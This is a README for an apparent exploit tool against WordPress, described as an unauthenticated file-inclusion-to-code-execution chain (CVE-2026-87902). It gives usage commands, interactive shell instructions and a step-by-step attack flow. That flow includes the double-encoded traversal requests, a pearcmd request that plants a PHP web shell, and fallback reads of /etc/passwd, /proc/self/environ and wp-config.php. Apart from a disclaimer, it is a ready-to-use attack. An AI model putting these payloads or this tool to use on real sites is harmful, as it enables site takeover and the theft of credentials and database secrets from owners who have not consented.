Python exploit for CVE-2026-87902, a WordPress Core LFI-to-RCE chain. Fingerprints versions, writes a PHP shell via pearcmd, and provides command execution or LFI fallback.
⚠️ LEGAL WARNING Using it against systems you do not own or have written permission to test is illegal and punishable under cyber crime laws. The author assumes no responsibility for misuse.
| Field | Value |
|---|
| CVE | CVE-2026-87902 |
| Type | Local File Inclusion (LFI) → Remote Code Execution (RCE) |
| CWE | CWE-98 |
| CVSS v3.1 | 9.2 (Critical) |
| Attack Vector | Network (Unauthenticated) |
| Affected | WordPress 4.7.0 – 7.1.1 |
| Patched | WordPress 7.1.2 (and backports up to 4.7.37) |
| Root Cause | get_page_template() does not call validate_file() after URL-decoding the pagename parameter, allowing double-encoded traversal (%252E%252E%252F) to bypass sanitization and include arbitrary .php files outside the theme directory. |
For full RCE, all of the following must be true:
page-* directory (e.g. page-templates/)pearcmd.php is present and readable by the web server user (default in official PHP Docker images and many cPanel installs with PHP < 8.5)register_argc_argv=On (default in PHP < 8.5)If any of these are missing, the exploit will fall back to LFI-only file read.
exploit.py # Main exploit script README.md # This file report.json # (optional) Output report when -o is used
Install:
apt update
apt upgrade
apt install python
apt install git
pip install requests
git clone https://github.com/zyphorixofficialmain-lab/cve-2026-87902
cd cve-2026-87902
python3 exploit.py -t https://site.com -v
This will:
· Fingerprint WordPress version and active theme · Verify vulnerable version range · Locate a published page ID (REST → sitemap → brute force) · Attempt to write a PHP shell via pearcmd.php · Attempt to include the shell and execute id · If RCE fails, fall back to LFI on sensitive files
python3 exploit.py -t https://site.com -c "id"
python3 exploit.py -t https://site.com -i -v
Inside the shell:
wp$ id
wp$ uname -a
wp$ cat /etc/passwd
wp$ exit
python3 exploit.py -t https://site.com -o report.json -v
python3 exploit.py -t https://site.com -c "whoami" -o report.json -v
🧾 CLI Reference
Flag Long Description -t --target Required. Target WordPress URL (no trailing slash). -c --command Execute a single shell command after RCE. -i --interactive Open an interactive shell after RCE. -v --verbose Print detailed progress. -o --output Save the final report as JSON to the given path. -h --help Show help.
🔄 Exploit Flow
[1] Fingerprint
├─ WordPress version (meta generator / asset ?ver=)
└─ Active theme (/wp-content/themes/<name>/)
[2] Version check
└─ 4.7.0 – 7.1.1 ? continue : warn & continue
[3] Find page ID
├─ REST: /wp-json/wp/v2/pages
├─ Sitemap: /wp-sitemap.xml
└─ Brute force: /?page_id=1..30
[4] Check page-* directory
├─ page-templates
├─ page-template
├─ pages
├─ templates
└─ page
[5] Write shell via pearcmd
└─ POST /?+config-create+/&page_id=<id>&pagename=templates%252F..%252F..%252Fusr%252Flocal%252Flib%252Fphp%252Fpearcmd
body: root=<?php system($_GET['c']); ?>
[6] Include shell
└─ GET /?page_id=<id>&pagename=templates%252F..%252F..%252Ftmp%252F<shell>.php&c=id
[7] Fallback LFI (if RCE fails)
├─ /etc/passwd
├─ /etc/hostname
├─ /proc/self/environ
├─ /proc/version
├─ wp-config.php
└─ ../.. variants